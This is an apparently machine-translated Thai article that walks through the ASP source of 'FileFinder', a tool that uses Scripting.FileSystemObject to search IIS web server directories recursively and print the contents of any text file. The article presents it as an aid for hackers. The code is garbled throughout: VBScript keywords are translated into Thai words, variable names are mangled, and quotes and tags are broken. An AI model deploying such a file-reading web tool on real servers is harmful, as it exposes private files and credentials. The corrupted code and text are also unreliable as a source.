วัตถุ Scripting.FilesYstemObject เป็นหนึ่งในวัตถุ COM จำนวนมากที่จัดทำโดย scrrun.dll สำหรับการควบคุม VBScript/JScript Scripting.FilesYstemObject ให้การเข้าถึงไฟล์ข้อความและไดเรกทอรีไฟล์ที่สะดวกมาก แต่ยังเป็นภัยคุกคามบางอย่างเกี่ยวกับความปลอดภัยของข้อมูลของเว็บเซิร์ฟเวอร์ IIS
รหัสของ FileFinder นั้นง่ายมากประกอบด้วย 3 ฟังก์ชั่นและรหัสลำดับ 30 บรรทัด
สิ่งที่สำคัญที่สุดคือฟังก์ชั่น FindFiles ซึ่งใช้การสำรวจของไดเรกทอรีบางอย่างโดยเรียกมันซ้ำ ๆ และค้นหาไฟล์เหล่านี้ตามส่วนขยายไฟล์เฉพาะ
ฟังก์ชั่น findfiles (StrstartFolder, Strext)
สลัว n
สลัว ohisfolder
Dim Ofolders
สลัว
Dim Ofolder
สลัว
'หากผู้ดูแลระบบตั้งค่าสิทธิ์ของระบบไฟล์อย่างระมัดระวังรหัสต่อไปนี้จะทำให้เกิดข้อผิดพลาด
'แต่ไดเรกทอรีบางอย่างยังสามารถดูได้ดังนั้นเราจึงเพิกเฉยต่อข้อผิดพลาด
เมื่อเกิดข้อผิดพลาดต่อไป
n = 0
Response.write <b> การค้นหา & strstartfolder & </b> <br>
ตั้งค่า thetisfolder = g_fs.getFolder (StrStartFolder)
set ofiles = allisfolder.files
สำหรับแต่ละ ile ใน OFILES
'หากเป็นส่วนขยายของไฟล์ที่ระบุเอาท์พุทคู่มือการเชื่อมต่อเอง แต่ใช้คำสั่ง cmd อื่น
'นี่คือ cmd = อ่านนั่นคืออ่านไฟล์ข้อความด้วยเส้นทางกายภาพที่ระบุ
ถ้า Issuffix (Ofile.Path, Strext) แล้ว
response.write <a target = _blank href = 'ff.asp? cmd = อ่าน & path = & server.htmlencode (ofile.path) &'> <font color = 'dodgerblue'> & ofile.path & </font> </a> <br>
ถ้า err = 0 ดังนั้น
n = n + 1
สิ้นสุดถ้า
สิ้นสุดถ้า
ต่อไป
set ofolders = ทั้งสอง
สำหรับผู้สูงอายุแต่ละคนในรุ่นเก่า
n = n + findfiles (ofolder.path, strext)
ต่อไป
findFiles = n
ฟังก์ชันสิ้นสุด
รหัสต่อไปนี้วิเคราะห์พารามิเตอร์หลังจาก URL:
'อ่านค่าของแต่ละพารามิเตอร์
strcmd = ucase (request.querystring (cmd)))
strpath = request.querystring (เส้นทาง)
strext = request.querystring (ext)
brawdata = ucase (request.querystring (RAW))
'ค้นหาไฟล์. ASP เริ่มต้น
ถ้า strpath = จากนั้น
strpath =.
สิ้นสุดถ้า
ถ้า strext = จากนั้น
strext = .asp
สิ้นสุดถ้า
'เรียกใช้รหัสที่แตกต่างกันตามคำสั่งที่แตกต่างกัน cmd
เลือก case strcmd
กรณีค้นหา
Response.write findfiles (strpath, strext) & ไฟล์ที่พบ
เคสอ่าน
ถ้า brawdata = t แล้ว
Response.write readTextFile (strpath)
อื่น
response.write <pre> & server.htmlencode (readTextFile (strpath)) & </der>
สิ้นสุดถ้า
กรณีอื่น
Response.write <H3> โปรดระบุคำสั่งเพื่อดำเนินการ </h3>
สิ้นสุดเลือก
จากการวิเคราะห์ข้างต้นเราจะเห็นได้ว่าหากเรามีสิทธิ์เพียงพอเราสามารถใช้ FileFinder เพื่อค้นหาไฟล์ข้อความใด ๆ บนเว็บเซิร์ฟเวอร์ IIS และเราสามารถดูเนื้อหาไฟล์ได้อย่างง่ายดาย สำหรับไฟล์ที่ไม่ใช่ข้อความเป็นไปได้ที่จะตรวจสอบว่ามีอยู่หรือไม่และอยู่ที่ไหนซึ่งบางครั้งก็สำคัญมากสำหรับแฮ็กเกอร์ขั้นสูง